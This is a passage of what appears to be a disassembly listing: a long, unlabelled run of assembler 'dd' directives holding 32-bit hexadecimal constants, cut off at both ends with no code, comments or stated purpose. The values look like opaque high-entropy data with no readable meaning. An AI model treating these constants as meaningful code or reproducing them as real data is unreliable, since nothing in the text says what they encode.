734D4C88h dd 5A01C904h, 0E386EDCCh, 0A1374BCCh, 0F0FC645Ch, 87DF6BCBh dd 0F80557DAh, 61C7F34Ah, 90184BBDh, 0E59E5BA4h, 0AD68F9A3h dd 0B32AE6E9h, 57093173h, 622B8F25h, 0F6524D71h, 342ED30Fh dd 9F543C6Fh, 40FDCB8Bh, 22689C9Ah, 0DA1D355Dh, 0E93A74B8h dd 0B0A6EB04h, 0E3E46130h, 0A4FE3332h, 6198CDC2h, 84883979h dd 71CA75A1h, 0B9A2B86Fh, 8EE553C7h, 95CD5883h, 0FFB60ACCh dd 6B005913h, 0DB660BAAh, 0BDE7FD5Dh, 26552C2h, 0E4AC980Fh dd 0E20B93E3h, 7D0D3A4Eh, 0E779C3EBh, 9FF3C7A9h, 7EB0A26Fh dd 23FB1192h, 0E51767BFh, 0A8316676h, 0F5C90A3Ch, 0EC11B55Eh dd 47D2F8Bh, 0C4ACD134h, 3D2CD672h, 3A6152A9h, 50DA37C4h dd 2B51B307h, 0D25F92C0h, 0E4706AE1h, 0C04220A5h, 0BB176F56h dd 0D1B83887h, 733E4F9Eh, 0CA0CC4E3h, 55E53F52h, 374BF6E2h dd 500524E7h, 8320E91Dh, 0C99F2F25h, 0ABA988AAh, 51B44925h dd 475EE136h, 0E1E83526h, 82ABE267h, 0EBAE9CC6h, 0EE99619Bh dd 2925FB44h, 8A0C2A49h, 0BE6D5627h, 0DAAE1825h, 0B9A1E925h dd 9682BA54h, 42590594h, 9972AFCDh, 0E66A69E7h, 2D1761F5h dd 1CBA0823h, 0CBF5CFC0h, 0A76646F0h, 3700FF51h, 5080BCB4h dd 0C2649D6Fh, 0F341DDD1h, 45783A2Ch, 263904F3h, 0D3EAF821h dd 73BB4959h, 0A19AC075h, 0B272D7C9h, 886577F1h, 0B1302BB8h dd 1128D14Dh, 0DEC4DFDDh, 0F2C7C8BFh, 0DD0EB586h, 0CBC36F0Ch dd 3CE81A68h, 801F93EBh, 0E1740A7Bh, 9526E69Ch, 32AB337Ah dd 11B7FF03h, 0F14E3700h, 85B9C706h, 0ED009FE9h, 40067374h dd 3B783870h, 18718EFEh, 85D5480Dh, 0C294C4C4h, 1FA1F6B7h dd 0AFA0291Eh, 0F3ABABA5h, 0C1F95F62h, 0ADB7D11Ah, 0C9704091h dd 1C35CFFBh, 7578ECBFh, 6DBCA0BBh, 9248B089h, 0D8BA4A57h dd 0E91D6420h, 6E00B67Eh, 0A63F34F4h, 3195698h, 586EEA0h dd 0D764C12Eh, 0E4A977C0h, 0C057F00h, 892165E2h, 1C742C6Ah dd 0DB3652EEh, 6E18C986h, 0C67E5A74h, 8909C996h, 5E28FB59h dd 58867447h, 0F8E7F850h, 9C75B7D9h, 0DD1CE381h, 42FBDCF8h dd 65F41A1Fh, 4C3359B9h, 54A5E694h, 9C7C42FEh, 1D6C267h dd 0D4E42578h, 1C58D0DAh, 0C079F824h, 0F26C01FBh, 7F1CFD3Ch dd 4C1CA7DFh, 7CB337A5h, 0EAD87EBAh, 0E9A1B38Ch, 13E66072h dd 78F080F0h, 0FB4B70Eh, 81D84AE1h, 418A080h, 4E07D07Ah dd 0EFEDD110h, 5BEB8234h, 1457E141h, 0B10A9C6Eh, 0E8AEA65Fh dd 0F1F56E5Eh, 9E503707h, 0E7C9E698h, 0E27A400Ch, 0AF3E84FEh dd 0CC83BC2Ah, 140AEABCh, 5CA7CDFBh, 50C24336h, 0A67532B4h dd 47FA6587h, 3C5E6070h, 44FDE1Fh, 99CEDAh, 8F2CB577h dd 0D8822996h, 0ABCDA7A9h, 4F4BE43Bh, 6188D975h, 427FEF11h dd 0E5E103DBh, 83D4FAB8h, 684178B1h, 0FD3C2F4Eh, 0E1BEC0F1h dd 32AEE2DAh, 0F1EDCB27h, 713076AEh, 0ED4E4386h, 9AE16534h dd 0ADE1D280h, 6F847A20h, 0B9E68A49h, 256CDD1Dh, 0AC7E2160h dd 0E525BF4Bh, 0EB6A8247h, 37153DEh, 45E9680Ah, 7D5DEDF0h dd 0FA5C94F4h, 5CF4ABA3h, 0EE83A9DEh, 335840h, 7D35D47h dd 8BFECF61h, 0CA353CFDh, 0E722B8EEh, 0B55CD212h, 78A5D683h dd 329604E0h, 5D2D3DD0h, 0BB096C2Dh, 74AA47F2h, 344ACD44h dd 0B3433359h, 67F0F31Fh, 643AE8CFh, 92C432BFh, 0D89A6467h dd 0D4E3DB05h, 0B43B3D0Dh, 0F10A0AF4h, 3BDCB58Eh, 0D62A1CF2h dd 0EAB14B7Fh, 52444796h, 0E6FDB479h, 0B790FF06h, 6028E226h dd 9321B83Dh, 7F3CA90Eh, 8F8C8171h, 75392E07h, 0DE1BD2AEh dd 9EEA0EF4h, 9771E191h, 6E3D2689h, 7F5F1343h, 20C0D764h dd 2288199Dh, 4A9959B6h, 52906AB3h, 0B0AC76DBh, 0E8BEFC08h dd 1AD20770h, 4094C36Ch, 687AC99Dh, 0B6D300BDh, 85CE7B7Fh dd 8612C8FBh, 0CF53E4FEh, 56284A5Bh, 0D50F8F71h, 0AA1AA7BAh dd 73CC7D7Eh, 9A7DCAB7h, 0BBE73713h, 7857B209h, 2B9DC129h dd 0E6EB6BC1h, 818A52CDh, 3BDED17Fh, 11E603AFh, 0B5C80788h dd 0D11D8EBAh, 0FD7816C8h dd 297C9F1Dh, 65B9E479h, 0D222952h, 0FAFF76Eh, 0FF79D5A5h dd 0B9589ADAh, 2B0CBDAh, 0DF03EDC8h, 0EEF9AA4h, 0E5BC219Bh dd 72AAA9C7h, 0F912129Eh, 132D4D82h, 0B67D7946h, 2A5194D8h dd 0DC758DE6h, 95B7A1C4h, 7AE3F47Dh, 112D149Ah, 305F0574h dd 6F93379Ch, 7FB38917h, 0DF46A3A6h, 1022F5C5h, 55E3FC75h dd 416BE5E8h, 79F566B6h, 6BD4BCFFh, 81FBFCAEh, 6AA1C675h dd 69C8D52Ch, 8B666000h, 1DA3F7C4h, 2D01B79Dh, 6DD3A0Dh dd 7445CEAFh, 958CAD64h, 3CD0650Ch, 0B0E74D99h, 9DE490FFh dd 88A891CBh, 0F2D0078Ah, 0B3716E11h, 888B7F37h, 2B0DDA0Dh dd 9B670F7Bh, 2E1D3067h, 0DAE5C967h, 5490A4CAh, 3A42F12Bh dd 0A3B992FEh, 84BC90DBh, 0F73281E2h, 4C7E2978h, 85CD7BC0h dd 534E337Fh, 9E8DDB68h, 249E3F98h, 7BCC1DD6h, 0A550CE28h dd 6210AFAEh, 0FF8E40EFh, 0BCBB0847h, 0A0729F39h, 0D466E50Ch dd 0DD2B6898h, 60D52A0Ah, 39993C2Fh, 1516D0BFh, 9D691F65h dd 807C17DBh, 1C0461A4h, 7A3B2426h, 0BC3C68E0h, 0F2C18D02h dd 0F24BEEEBh, 8BD842Bh, 69F8A04Bh, 0F5ACDE34h, 829F696Eh dd 6763655Fh, 0CDF88D8Bh, 9DE524CBh, 6440C337h, 7AF4A266h dd 44C5D9B8h, 61E2B12Fh, 820C2D7h, 0B5D4DB19h, 0C43A7A0Bh dd 506BA2D8h, 0D5028037h, 0C3431B75h, 0F9BF471Ch, 84058C5Eh dd 631A7BE9h, 0ED4B91D6h, 1226AEA0h, 90C7ADD4h, 97741A7Eh dd 0B4AD6445h, 0E4741696h, 0A1E88C60h, 7AB2F904h, 0AD44D3A3h dd 5456C720h, 0FDD7BB48h, 4E8692EEh, 0BB5AA87Dh, 49CA14D3h dd 0C7530537h, 0FFE97C8Dh, 0B235BD5Fh, 0C75DB0FBh, 34821519h dd 0EF78480Ah, 0F2305F02h, 418414E3h, 3F3A9E83h, 0F137715h dd 94BC02E8h, 0E6935DBFh, 9471EE4Dh, 74A691F9h, 115F13B5h dd 7D05BDE2h, 0C1FFB84Ch, 933F3CE2h, 4FFDC52h, 0FDAFBF7h dd 0F7AADD07h, 1AFE13B5h, 8A5665E6h, 496E2F22h, 659FB7BBh dd 3FF58C2Dh, 639ECE7Fh, 57CD138Dh, 7454C5F1h, 5A692263h dd 4E01D5D6h, 101A5EA0h, 0AE67B1D8h, 0A40FBAE2h, 89CE7254h dd 0EF006914h, 8F625FDDh, 2BF966D9h, 5E0BAAE6h, 2407E616h dd 270651Ch, 0F772B42h, 70E2C3C3h, 7AD95648h, 0AE43CF1Fh dd 36D019C9h, 734A57B7h, 248841FEh, 4D9AADCAh, 3B32851Dh dd 79862484h, 0FD919DB2h, 8B2248Ch, 78C01309h, 0E8720286h dd 0F45A425Ah, 6BF0B4E1h, 0F3346C6Ch, 3D2C9F09h, 0B21D8D3Ch dd 1B0EBBB9h, 2C5E5BD2h, 76F1AFB6h, 49A87BA6h, 0A9519F7Ch dd 43870FF5h, 8E29E6D6h, 50321BEEh, 1135B8B9h, 13263832h dd 9C0ACFF6h, 0A5A66FE5h, 80908975h, 0C9E2A098h, 227E3718h dd 0E0D87655h, 58DA84DEh, 0CF3403Eh, 0EE5AC108h, 0AA5C6EA1h dd 0EC289ECCh, 358578A9h, 3398FD0Ch, 59C6DA54h, 0E8E13028h dd 0A94189ACh, 0D69A24C2h, 4202DF09h, 8E419FCCh, 0F1234BEFh dd 4F0E5B9Eh, 7245DDE2h, 10AAA0Bh, 0D15B5958h, 0C78F894Bh dd 23A487F1h, 2CA1AEC2h, 22B4035Eh, 0D6952C9Dh, 10F455D5h dd 0BE968A34h, 5D1B9400h, 0F3E1752Ch, 1DD567FFh, 8C5638AFh dd 0FD6EDD7Eh, 526BF8E4h, 108DAEECh, 88AA8BE6h, 0A2BB8983h dd 0B5BAD90h, 8F57294Bh, 42AE1A28h, 21851C77h, 0A1FAF24Dh dd 3C926E05h, 0E75E8ACCh, 5B642E0Dh, 66409842h, 64525298h dd 42B7370Ch, 0E1245B0Eh, 42D856D5h, 406FEBABh, 60A34CB1h dd 0E3C63421h, 9DADE91Ah, 0F9F2CD07h, 8FD80282h, 202F5267h dd 68E4D093h, 4E48885Ah, 76149C8Dh, 0DADEB066h, 9C05DB83h dd 0B030479Ah, 873E847Bh, 9825A7F3h, 0B7401963h, 5B1AD440h dd 0EF7F0F49h, 82437265h, 233F414Bh, 6796C072h, 2C66B78Ch dd 0B1464D0Fh, 0B2B3EDD7h, 41528FDFh, 9BA79357h, 8E2C1542h dd 3E461426h, 638D9303h, 302E46E9h, 0C018CDDEh, 3B333D92h dd 0AC99FA1Fh, 0C25E27F9h, 0AFC01A83h, 417FEAC1h, 0DD7AD713h dd 1DAFAEC4h, 1B9EE22Fh, 35DAC2B3h, 471BE4FEh, 0A2EEF656h dd 0FEE147F6h, 1347159Eh, 0E7F99F43h, 31B8197Bh, 3B0659E9h dd 0F41E83Eh, 0D68742E5h, 21FA1789h, 73EB988Dh, 0E4AC7A9Dh dd 9DDA08EEh, 9CB2023Ch, 0AC6E5ECAh, 91C67E69h, 723FA495h dd 519F86F2h, 8442D787h, 5C6771ADh, 51BB7A29h, 0EA99F80Fh dd 2F7DB2AEh, 2A886E40h, 0B4AD7B28h, 0ED6E196Ah, 0EB0EE1FEh dd 94CECB19h, 0B8F86DDBh, 704211BFh, 1664B839h, 0F16E48A4h dd 3F0CA479h, 6783A96Dh, 0F9D5338Eh, 8319FAADh, 0C87D9A34h dd 6E387887h, 0F337E0FBh, 533F82ABh, 0CC6F7896h, 42F627C4h dd 0A55262A1h, 64987FEBh, 0CBD5916Dh, 0B5E90884h, 94D4BC48h dd 0B3DF2F2Eh, 0A406D280h, 3D3AF35Bh, 72DAAE84h, 39C3242h dd 0B6AA5B63h, 2E8BE0D7h, 9B9E11EDh, 0ECB88AD8h, 0E148731Fh dd 21F84C49h, 0F3E3D339h, 503D225Ch, 4B439978h, 0A75C7C13h dd 0F5682D35h, 6898EF71h, 7EF8D280h, 833B694Dh, 0D07EEA4Ah dd 0B7F25E6Ah, 174D2A36h, 0ED496AEDh, 20DD7F70h, 78CBB49Ch dd 844B6B6Eh, 0E7C3CB81h, 0CF171310h, 536F34BBh, 0CE485CA2h dd 0F2136FEDh, 96341F6Fh, 0D716FF8Ah, 0EFA40735h, 351DE1Ah dd 44947A36h, 0E1E4C39Eh, 0C4057221h, 0D262B81Ch, 34BA1A80h dd 7DF62A44h, 955DA404h, 1125D821h, 0A442867h, 38BB5212h dd 579670A2h, 9EE5D518h, 1E82B9F0h, 0FCBA838Ah, 0ECF569FFh dd 0D6E9D02h, 450AF53Fh, 930A7E67h, 0FFD6D698h, 0E7154A23h dd 19E71D75h, 0D9CE5E29h, 8962F339h, 2BC58464h, 6E4F8AAh dd 0E55D08FCh, 15B1DF92h, 1EA0BBF9h, 0D626F255h, 0F6858F76h dd 0C6DE1670h, 3034B4FCh, 80D98D23h, 0C325D0D8h, 1FE59F32h dd 0E85064B5h, 41B25C99h, 0A31F3916h, 0C782A61h, 0D2612803h dd 0A2ADBF8Ah, 40C9987Fh, 5E2DDEDDh, 0FD9B080Ah, 1DE9EF2Eh dd 0AB150762h, 638C29A4h, 82CCBDE9h, 2C87FB8Ch, 35B25873h dd 72837E9Bh, 0C61A0C44h, 37BD5956h, 0FC2D93Eh, 8A23E17Bh dd 0D585BE13h, 5E5F4336h, 8630A7A2h, 490F6A36h, 0EFF6DC50h dd 0B903507h, 522DBF44h, 0DCBB803Ch, 694C5AA0h, 820C0FE7h dd 2D9578E5h, 373ABE51h, 0B8E8BFE0h, 0BDE811BBh, 0D5EE072Bh dd 76C87A8Fh, 904B1736h, 25E20078h, 145D324Ch, 1F6B9F52h dd 9D261D48h, 0E4A59EEAh, 2A99B87Fh, 0EE079258h, 632CAC39h dd 339F84C3h, 40AA38D0h, 5F9BD8ECh, 0A1DCC514h, 6ADCF728h dd 0B5261BDFh, 2CA5A284h, 3BBC5942h, 23A9CAEEh, 3D119230h dd 15526B2Dh, 74EADA43h, 6F295B26h, 0CEF9990Eh, 0D7F1EBE3h dd 0A7173BE6h, 10726978h, 387490Eh, 0AA613BFFh, 72962DF6h dd 6628A87Ah, 922D7F9h, 1709683Dh, 566402C7h, 0B28CB588h dd 7D7E89ACh, 8B3D46A7h, 909F2D00h, 771157D6h, 0F9B6226Dh dd 0E044FC8h, 3766D214h, 0B742E7CFh, 0FEB80588h, 4B19F005h dd 0C8AD0A91h, 83BD11CCh, 0CC716E5h, 0DEFD9EEEh, 0D8CEBD6Dh dd 6A8C645h, 0F1372AB8h, 34CDFB88h, 0FA4CEC11h, 33488DA3h dd 2A1C9D84h, 1FCA71C7h, 48AFDFBFh, 35F3181Bh, 23B1B434h dd 58A718A5h, 3D1968B3h, 6AF6DA5Ch, 729CB136h, 9908697Eh dd 4B62CB3Eh, 6C2067B4h, 2A835938h, 77BA0928h, 4BA74D1h dd 9FB300BEh, 683130Ah, 9B3E11E5h, 4989CAACh, 0FF320FC1h dd 0FB66360Dh, 0F46CFD39h, 0A5B912CEh, 1757A2A5h, 0F6E3B1D7h dd 0D118F6D3h, 7A63388Ah, 0FDB949F6h, 0E7969EDBh, 0EC7499EEh dd 2C15A4DEh, 27E117BAh dd 0CFC37CF4h, 0DA73B4BEh, 880F019Bh, 0E3255E04h, 1EB5FFFCh dd 0C9BD4321h, 0B52801D2h, 294AD870h, 0D4972263h, 0A33FD5ADh dd 12626992h, 2A93FB99h, 823A4D81h, 1CA83F90h, 98F0A755h dd 3863A4E2h, 8E56EFDFh, 4D9BBF0Eh, 0F5AC7977h, 614423C5h dd 97983567h, 0CBA2A893h, 0A116478Ch, 65C1FC7Ch, 0F17DA4Fh dd 0BCBD8CB2h, 0DF6D88C0h, 2C9B7ABCh, 0DBC2726Ah, 0D96B1F64h dd 0F7D8FA0Ch, 0A799EB74h, 0B892BEEAh, 595E6393h, 3E25DF22h dd 47866D50h, 0C80A02A8h, 94A1C24Eh, 7983064Eh, 594C27D9h dd 0D16ED9A1h, 189CA6C4h, 0C90C33C3h, 0C0086B52h, 9C4B4674h dd 92640BECh, 0A92CF405h, 0F4890879h, 0A5BD6A8Dh, 746331E3h dd 99CC5F29h, 746E1424h, 0F53E912Ah, 0DDE51A44h, 0DB5BC478h dd 1D025B76h, 0B520165Fh, 915D0A5Fh, 66AB31D6h, 5586F6D2h dd 9DCFC6B5h, 4FB72D94h, 6E63E8D3h, 0F5DAA73Ah, 6298787Dh dd 0C44D70B8h, 4E5EC531h, 5319C8A8h, 0CE3AEF3Eh, 2E6CA9A2h dd 5E934C9Dh, 0F2FA221Ch, 0E2A2CB0Ah, 0CABBB658h, 1EC3295Bh dd 6F407EE3h, 10D54F3Dh, 19F1D5F2h, 133B552Dh, 1DA8F582h dd 0F2D097C5h, 3F1C189h, 3CC70514h, 0E972583Bh, 4EAA9DC6h dd 10C487DCh, 516E7DE6h, 28529C9Ch, 0BB7073D0h, 9CDED466h dd 0DDEEB44h, 6480B448h, 0AA7A540Ah, 418FD588h, 232B009h dd 97C3902Fh, 7C0869E1h, 29C63715h, 38CA8251h, 45DA2C60h dd 0A245014h, 27555CF2h, 97741296h, 8659E6E1h, 0E7000527h dd 0EB18F17Eh, 0E42EE6F7h, 40C560ABh, 0A73B9F55h, 64417E8h dd 21AC7B91h, 0DA9C6F1h, 33B317E0h, 4ED2E2BDh, 0FEB10E4Ch dd 0EFFD176Eh, 929FC51Ch, 9C659444h, 4ED08993h, 1ACC4534h dd 0B2F16B8Ah, 8D38F38Ah, 0D1060D89h, 344F71F7h, 4506604Ah dd 5F9FE4E1h, 68C5161Dh, 0D3A65B3Ch, 0B1FF5D76h, 8720180h dd 0D77CA96Bh, 0B55E7096h, 9A915494h, 0E697D043h, 74FC8E0Ah dd 4289B097h, 0DFABEB75h, 0C3E0C67Ah, 5FDAA2F8h, 453322D8h dd 6DEBD0D9h, 6BF9CBCDh, 0FE8281F2h, 2F34E155h, 619CA102h dd 0DEACE86Ch, 405396C4h, 76AC8D97h, 23759C58h, 0E0698345h dd 31A6A6B2h, 56EAE68Bh, 7C3AE8FBh, 3DC523E7h, 67F9AB42h dd 3529405Fh, 8A8FFA4Bh, 0CED13541h, 529FA66Eh, 0E44DE5D0h dd 0C507C28Fh, 400EA11Bh, 7221B2FDh, 9B973DDBh, 0CE586223h dd 0D95C4564h, 2D62C28Fh, 673FBDDCh, 0A9A68012h, 4EC1A21Ah dd 138C9B86h, 2F9117E0h, 71885E73h, 19B5DCDFh, 9CB12203h dd 76A7C93Fh, 6D513C3Fh, 61E0CF03h, 3EF487F5h, 6EADF010h dd 0BAE90546h, 71F3DEF4h, 0CA0E365h, 0C569DF74h, 2CCBFE94h dd 55FEDC6Dh, 4750AD64h, 66703FF5h, 0F055CAA1h, 0DE4210D3h dd 4513C55Fh, 264C9913h, 0C91F40Fh, 1B144B9Fh, 0EC4037C4h dd 6E3A8962h, 7DAFD952h, 348906CFh, 0ADBBED7Fh, 909E2440h dd 0D951289Eh, 7B9F8B75h, 892D6064h, 63C38F44h, 0DC895786h dd 12A9308Fh, 0E023114Bh, 686503E0h, 6E46BCF3h, 0EE7C53D8h dd 0BBA26E6Eh, 1BC45902h, 64CC6E63h, 4D53D28Ah, 0F4300E7h dd 0C8E21EA4h, 8C24B3EDh, 0FEEE275Ah, 0CA611660h, 0C548AB83h dd 30AA1D3Ch, 318E8B62h, 3A458482h, 0C3CB8EB9h, 460C1996h dd 0A758C2F9h, 0D5EC3F8Ch, 4E4A9EDEh, 8D63AA10h, 3875CD75h dd 7C7D2C5Ch, 13F60EF5h, 4004CADEh, 0FCEA4709h, 6FD4D5A5h dd 13A42B6h, 0EAC171FAh, 0EE3C0DB2h, 764FDA1Bh, 6D8EDFC7h dd 5F645401h, 0F4FB141Fh, 0B8748D49h, 0DA1BCE78h, 0E5F20ED3h dd 0F5F2C8C7h, 0C9DA47C5h, 5B50B3D6h, 77BBCEA7h, 0A5D986AEh dd 430A88CCh, 1DC2EA63h, 0AACB7781h, 5FF73504h, 393718B6h dd 0C82C6AA1h, 1067D8F3h, 5074A6C8h, 0E62C7D05h, 0C91CA0Fh dd 0F596EC10h, 5FA071CFh, 20C17FEBh, 0F4F9FBFh, 523A4346h dd 85BE0BD1h, 31AE253Ah, 3AE9CDA7h, 2A6EA599h, 27350B3h dd 0C14C0ACBh, 8A18BEA1h, 59198DE9h, 3AADE5A4h, 0D8BBDDB1h dd 0DF1ABF20h, 44A1B2B7h, 0ABFC09EAh, 5A240116h, 0AC3FB805h dd 198096B0h, 1991177Ch, 8B008A55h, 403B3FFEh, 0D933B81Fh dd 0A9956ABAh, 6F41AFEDh, 6FA069A3h, 805C07EDh, 0F3D8DD34h dd 7ED7464Ah, 51CFADF5h, 0CE2F71CDh, 9FFF9FDBh, 763403ACh dd 0DBA3A963h, 9790D2B7h, 8E8E5A86h, 95494361h, 0B2A83F46h dd 2C37D105h, 3B7CF05Ch, 5F2CDE12h, 2EBDB703h, 4C840AC0h dd 0E5B71A70h, 239EF203h, 74726BF8h, 10D9122Bh, 231D3C39h dd 917B24D2h, 0D74C4447h, 437EAA26h, 4C7A09BBh, 0C041ACF9h dd 51F24AEBh, 1CDD01F7h, 0CE192D9Eh, 2DD448F5h, 3E3F6442h dd 4B8B6D3h, 80BB5A1Ch, 0B2D7AA04h, 0F264763Bh, 4AD2438h dd 0A74F47Dh, 0A7FB62AFh, 0A039AA61h, 0C2223CAFh, 739059FFh dd 1FA7CF4Eh, 1F734A32h, 0F2D56351h, 0FBC8C4DDh, 9CAEB1CBh dd 98BE5F7Ch, 0E04312EDh, 26370DAh, 0A72B2808h, 0C663D80h dd 7E92A4Ch, 86FDC0AEh, 44A57F38h, 0ECC1F36Bh, 817921B9h dd 4DB70FAAh, 0BA1EDCC7h, 2FA22ACh, 0EF388D92h, 0F7702295h dd 0C0154836h, 60EA40ADh, 1AF97C33h, 0EA3F0643h, 0BFCDD187h dd 0BEEFE970h, 6EEFDE26h, 28216706h, 713A40A7h, 386961B9h dd 722532F9h, 0FA89585Fh, 0ECF14A63h, 0C96B82B0h, 640FAD7Eh dd 1B7B0CACh, 0BCC0E70Eh, 5F08491Dh, 9A5CC20Fh, 0D50911E8h dd 91941F2Ah, 2724FC0Dh, 0A35C4868h, 2BF4DD75h, 0FBB8E3Bh dd 4A04D8A4h, 1FDF44FAh, 0D2232E88h, 0E7544A0Fh, 56B1B47h dd 0BB5852E6h, 59233D27h, 0AB358EF5h, 60DBA70Bh, 0B95CBC0Ch dd 11DCB41Dh, 50678001h, 2093DA94h, 90D75DB3h, 5843EFCDh dd 0D747D980h, 87D40F13h, 19EEB146h, 42C6223Bh, 0E9AAE041h dd 0F3899A9Eh, 0A0D2BF05h, 6AE1996h, 0B3AC8078h, 0C76B5066h dd 7E4F5289h, 80FDE514h, 41915819h, 9D75BE74h, 74551B69h dd 79E2ED80h, 0FCA690EEh, 0ECDF6C78h, 0D874F21Dh, 3D0BB364h dd 56C46F82h, 79AB56C7h, 88B46D56h, 638D2521h, 56639CE9h dd 372EB7BEh, 0A2819ADBh, 0B6FDAD2Fh, 0EFD6AD84h, 94DC2067h dd 83472FAAh, 6D970CB1h, 0E902355Dh, 0CA89F96Eh, 0BC4E4FD4h dd 0AF0F809Dh, 9EB79EF7h, 0CDB4EBA6h, 5D7DEA3Fh, 19B78E8Ch dd 7983AED4h, 915A8C46h, 805D8329h, 12286F17h, 3FB85C94h dd 0EDAC29CDh, 0C7EA4E00h, 0A247B163h, 89F9A1F8h, 54A71889h dd 0C3F9E36Ch, 0E85193EFh, 4E6B761Ch, 0F6167A1Dh, 0C9B767Dh dd 2D2864CBh, 87831E0Bh, 91FFECCh, 2016AE05h, 83A635C9h dd 3D58720Dh, 0DE32FCF9h, 7E8A019Ch, 0A2AC9D91h, 94C0BAC9h dd 82560080h, 1FE2136Fh, 0DF0F0587h, 1B575EC5h, 3A716A25h dd 43FD6122h, 512CEB63h, 610D4A8Fh, 0E14D3C15h, 0F5FBBB55h dd 159AA845h, 4A138D13h, 61538107h, 938B45D2h, 0AD2C4A1Ah dd 986768E2h, 60EF4051h, 81BD5291h, 0AECC690h, 0DB46AC3Eh dd 3762EEFEh, 0F8A744E2h, 0AB9FD8C8h, 0A04ADC2Fh, 74D9B59Ah dd 56EA9DDAh, 8104B2A4h, 15D9778Eh, 48DB5CABh, 9AE3074Fh dd 0E0A4DAFh, 0F11D498Ah, 9A336DBFh, 8639B2CBh, 49E56A50h dd 0DAB63966h, 6D78879h, 9D55047Dh, 0D7B8A0E1h, 70E3C928h dd 6D02890Ah, 0D4C852FDh, 0F4D11A75h, 4F8BC13Fh, 65AC9983h dd 0BE2A0468h, 0E0ED179Eh, 0FB36951Ah, 44633A71h, 66F6A4D3h dd 54D5594Eh, 81B4DF04h, 7D588A7Bh, 0A937D5EBh, 0C4B08DDh dd 2E3BA180h, 13B41654h dd 1148AFAEh, 59AF055h, 0D5B19EC6h, 9EB9B857h, 1ACF416Bh dd 83FD9734h, 833822AAh, 0CA0D4158h, 319BB126h, 0A66A36B5h dd 0B59EE9DBh, 32A29B03h, 5D6F2510h, 0D8FAC523h, 0C41DC590h dd 9D3AC077h, 7C4333C8h, 8699F813h, 8A5D6212h, 0A11C1488h dd 57231F1Fh, 941D49D9h, 3CB6E71Ch, 4F88C88Bh, 0CB3F118Ah dd 8EE444AEh, 580D308Eh, 0D8B6F232h, 80DBA474h, 0AFC56BDAh dd 0DEBFE064h, 99E42AB2h, 681FF742h, 9BE5F6A1h, 707BCA15h dd 0C154AC81h, 0AE0E2859h, 97FE4904h, 0F0C78012h, 68230B5h dd 0CF5525F3h, 54908E19h, 47D876BCh, 434C3F9h, 62594980h dd 389FD981h, 8AFA8AC5h, 9BB51BDBh, 7A8D2ED8h, 1ED67945h dd 1AB437F1h, 2F240D66h, 76B102DEh, 0BBBA7305h, 0D4B9BD89h dd 0EF8976BAh, 3AF9D222h, 0FC1E5087h, 393098F1h, 4484F4D5h dd 9AA29D1h, 978B3BD9h, 3ECF11A7h, 1929FF40h, 0A6A47974h dd 8C79E856h, 5A1699CAh, 0B81463E4h, 1848A41Bh, 0BD2F6ACBh dd 0B44C97B8h, 9D4CE9D7h, 4FADC4E0h, 0AA117D8Fh, 8CADE925h dd 92CE29DFh, 0A119B5A8h, 0FC5E64E7h, 6DA260DCh, 0EFD66FBCh dd 0D8E1622Ah, 0C6B6338Ch, 12C28536h, 9EC2CB82h, 43F27171h dd 3E8CEA57h, 7ADAADCDh, 0DBE6531Fh, 0B1BE9168h, 2F131A8Ah dd 0B87D01BFh, 74EE394Dh, 0AD85E76h, 7D7E4995h, 0ADA1F623h dd 8587986Bh, 7142F2BEh, 8304C495h, 4EC2D07Bh, 0BEF0C198h dd 41812668h, 0D153F751h, 4BDDFF28h, 177DEC7Bh, 73FC11C8h dd 0D55297CAh, 2241B3BAh, 7DB80C43h, 0B5F3911Ch, 0C037F195h dd 0A5A40C6Bh, 9F299B97h, 0A6A791h, 5506F452h, 0FA94A944h dd 6B3D73C5h, 4DC7352Ch, 6239472Fh, 4B938F52h, 0C8EFA4CBh dd 119B64A5h, 0B48E8916h, 0A415F7E1h, 1E0AB1B7h, 0D49F66F2h dd 6AA0A6FAh, 202CADCh, 95976Bh, 5F3A83Fh, 0D6051AFCh dd 0D1F6E9BCh, 0B344020Eh, 20E29634h, 11FE655Eh, 37F45036h dd 34CA05F1h, 8F2E0A1Eh, 0A8FCF088h, 63E342B7h, 0C72DB909h dd 3AEDC813h, 6CA677A2h, 8673A1C7h, 1FF4F95Ch, 2743FBD7h dd 0A35807C8h, 0B3B4C0B9h, 393D9045h, 0AFC7B2FDh, 9356BF9Fh dd 0BBAF54B9h, 265A6F4h, 1022C1C9h, 0D5F9A74Fh, 0F87483FFh dd 0B487066Eh, 0AEB33B52h, 0DA5E921Fh, 66ECBB39h, 90F01B0Ah dd 2F18C2D4h, 223E2B7Bh, 0B5D0792Bh, 0B22927Fh, 0BE5D9E16h dd 0DA70C858h, 94B9F6AEh, 8126422Dh, 4F019BA0h, 0DE68D720h dd 37CC0326h, 42349079h, 3213606Fh, 0A9864ABAh, 0BA4B007Fh dd 6DBA0C4Ch, 0D0961829h, 10781007h, 271ED957h, 0DDCD41A9h dd 1BF282C2h, 17C1B9BCh, 0F3D52003h, 24FA7B6Fh, 42CDF076h dd 14DB3B90h, 9E7CCA34h, 0BCECCDF9h, 761B9ED2h, 1DBA2761h dd 68FF1301h, 0CB259048h, 0BB074C0Eh, 118FB2DAh, 0F962D4FBh dd 0BEF65929h, 0DC1A0166h, 720B4E11h, 9E2C7288h, 0D545BE66h dd 9D64FE95h, 2D7D1E21h, 89158BDFh, 0C963CD93h, 0FECEA283h dd 0C7B78164h, 0AE7C56CEh, 4408649Eh, 97B801Bh, 0E97D33E7h dd 0BBC9687Eh, 0E62315C1h, 0E30DA93Dh, 0E25091DBh, 2C6FDAF0h dd 9B6359BCh, 0E7CBFF86h, 0D93EF403h, 97CD2123h, 2310E2Ch dd 2AE28956h, 664574ADh, 8B430FA8h, 0E4380BC8h, 31A3FF1Eh dd 0DC932B90h, 0D01A4F3Ch, 0B8DE466Fh, 5D66E259h, 663BEB3Eh dd 0D2242664h, 254BD31Bh, 0C3EA49FEh, 0F6BC80C0h, 3C30B310h dd 845E059Dh, 0FE368F00h, 1E20622Ah, 0E102357Bh, 850DC071h dd 245937ACh, 26045F02h, 247F3C47h, 0A83763E1h, 9D43BF8h dd 0D049983Eh, 5B5129A0h, 4DE78BF2h, 17076161h, 0DF68FC71h dd 0E5B82887h, 6C039FA2h, 0B12DB9CDh, 0D793D593h, 0A4AD2A1Bh dd 4553A84Eh, 8870F4Ah, 0CEBF2995h, 182AA65Ch, 90FD8F3h dd 0E8A98E87h, 0F9564C4Bh, 82015C9Ah, 0BA667630h, 0AB8C918Fh dd 61CF25E6h, 61260E3Eh, 7EAE2B6h, 53FCA355h, 87DC33CDh dd 0B1CD96C2h, 0F23E3FFAh, 3912E702h, 